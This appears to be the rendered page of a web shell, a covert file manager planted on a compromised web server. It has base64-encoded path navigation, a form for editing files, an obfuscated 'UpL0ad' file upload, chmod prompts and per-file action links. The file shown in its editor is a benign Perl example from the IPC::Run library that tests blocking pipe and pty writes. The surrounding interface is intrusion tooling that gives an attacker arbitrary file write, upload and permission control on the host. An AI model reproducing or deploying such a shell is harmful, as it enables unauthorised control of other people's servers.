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<hr>blocking_writes<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YmxvY2tpbmdfd3JpdGVz"><input name="f" value="blocking_writes"><textarea name="t">#!/usr/bin/perl

## Submitted by Borislav Deianov &lt;borislav@users.sourceforge.net&gt;
## This stresses the blocking write to see if it blocks.

use Fcntl;
use IO::Pty;
use IPC::Run qw(run);

sub makecmd {
    return [
        'perl', '-e',
        '&lt;STDIN&gt;, print &quot;\n&quot; x ' . $_[0] . '; while(&lt;STDIN&gt;){last if /end/}'
    ];
}

pipe R, W;
fcntl( W, F_SETFL, O_NONBLOCK );
while ( syswrite( W, &quot;\n&quot;, 1 ) ) { $pipebuf++ }
print &quot;pipe buffer size is $pipebuf\n&quot;;
$in = &quot;\n&quot; x ( $pipebuf * 3 ) . &quot;end\n&quot;;

print &quot;reading from scalar via pipe... &quot;;
run( makecmd( $pipebuf * 3 ), '&lt;', \$in, '&gt;', \$out );
print &quot;done\n&quot;;

print &quot;reading from code via pipe... &quot;;
run( makecmd( $pipebuf * 3 ), '&lt;', sub { $t = $in; undef $in; $t }, '&gt;', \$out );
print &quot;done\n&quot;;

$pty = IO::Pty-&gt;new();
$pty-&gt;blocking(0);
$slave = $pty-&gt;slave();
while ( $pty-&gt;syswrite( &quot;\n&quot;, 1 ) ) { $ptybuf++ }
print &quot;pty buffer size is $ptybuf\n&quot;;
$in = &quot;\n&quot; x ( $ptybuf * 3 ) . &quot;end\n&quot;;

print &quot;reading via pty... &quot;;
run( makecmd( $ptybuf * 3 ), '&lt;pty&lt;', \$in, '&gt;', \$out );
print &quot;done\n&quot;;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/libipc-run-perl/examples/abuse<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&x=YmxvY2tpbmdfZGVidWdfd2l0aF9zdWJfY29wcm9jZXNz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YmxvY2tpbmdfZGVidWdfd2l0aF9zdWJfY29wcm9jZXNz"/>blocking_debug_with_sub_coprocess</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YmxvY2tpbmdfZGVidWdfd2l0aF9zdWJfY29wcm9jZXNz&c=`+btoa(c):0" value="0644"></td><td>816</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&x=YmxvY2tpbmdfd3JpdGVz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YmxvY2tpbmdfd3JpdGVz"/>blocking_writes</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YmxvY2tpbmdfd3JpdGVz&c=`+btoa(c):0" value="0644"></td><td>1049</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&x=YnJva2VuX3BpcGVfb25fYmFkX2V4ZWN1dGFibGVfbmFtZQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YnJva2VuX3BpcGVfb25fYmFkX2V4ZWN1dGFibGVfbmFtZQ=="/>broken_pipe_on_bad_executable_name</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=YnJva2VuX3BpcGVfb25fYmFkX2V4ZWN1dGFibGVfbmFtZQ==&c=`+btoa(c):0" value="0644"></td><td>303</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&x=dGltZXJz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=dGltZXJz"/>timers</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliaXBjLXJ1bi1wZXJsL2V4YW1wbGVzL2FidXNl&f=dGltZXJz&c=`+btoa(c):0" value="0644"></td><td>204</td></tr></table>